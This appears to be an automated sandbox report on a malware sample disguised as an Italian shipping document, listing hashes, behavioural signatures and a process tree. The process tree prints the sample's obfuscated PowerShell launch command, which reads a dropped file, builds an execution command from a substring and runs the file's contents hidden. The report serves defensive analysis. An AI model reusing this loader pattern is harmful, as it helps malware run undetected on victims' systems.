Analysis
-
max time kernel
122s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
16-09-2024 08:57
Static task
static1
Behavioral task
behavioral1
Sample
Documenti di spedizione 00039488580006996960.bat.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Documenti di spedizione 00039488580006996960.bat.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240802-en
General
-
Target
Documenti di spedizione 00039488580006996960.bat.exe
-
Size
752KB
-
MD5
74b63fc7533ba2dfd75253a2ac5044f9
-
SHA1
20c6f4f4db0e850f1506e7d89be267f2fa1b21e2
-
SHA256
fbcceeb087e972ef29b0e3561a022aa4e6897cd78de77049e130e47bafcde554
-
SHA512
ff82f9a7138fce1aca1c59fd0fc7b050d59a5c507af33beb599bec543b7b3c8186a7e7ece3c8aa47ef5383d115b06231e80bffc398598764fd642a7228e23bb1
-
SSDEEP
12288:nXJaAf3gv3zDtlZcqY18aAV0uyXVU62+eqvIwLT6Q11m14VELQrr+ZuHu/bf95Ro:5aO3gvjs8JV0uyXE1w/K6ELDuO/J5e
Malware Config
Signatures
-
Loads dropped DLL 1 IoCs
pid Process 2392 Documenti di spedizione 00039488580006996960.bat.exe -
pid Process 2700 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Documenti di spedizione 00039488580006996960.bat.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2700 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2700 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2392 wrote to memory of 2700 2392 Documenti di spedizione 00039488580006996960.bat.exe 31 PID 2392 wrote to memory of 2700 2392 Documenti di spedizione 00039488580006996960.bat.exe 31 PID 2392 wrote to memory of 2700 2392 Documenti di spedizione 00039488580006996960.bat.exe 31 PID 2392 wrote to memory of 2700 2392 Documenti di spedizione 00039488580006996960.bat.exe 31
Processes
-
C:\Users\Admin\AppData\Local\Temp\Documenti di spedizione 00039488580006996960.bat.exe"C:\Users\Admin\AppData\Local\Temp\Documenti di spedizione 00039488580006996960.bat.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Paleolith179=Get-Content 'C:\Users\Admin\AppData\Roaming\Fastlggende246\Ytringsfriheds.Boe';$Scob=$Paleolith179.SubString(55585,3);.$Scob($Paleolith179)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2700
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6KB
MD57f4a854abf13869f8b0f3c8952a1d4b0
SHA141c1dc531094abb81e5c37a04e7b88da14dd3980
SHA256971b9daea9ad21621ac81776c13fdd899979ab920fed44c9066a41f60b961a4c
SHA512df775a146adb801659bfec3921cf66975c8fa1425c66081ac168dc6294151d4a05c0c478d3d86fb445176bc7e775bd0165e8900d4354783ecdb9fab58a612dbe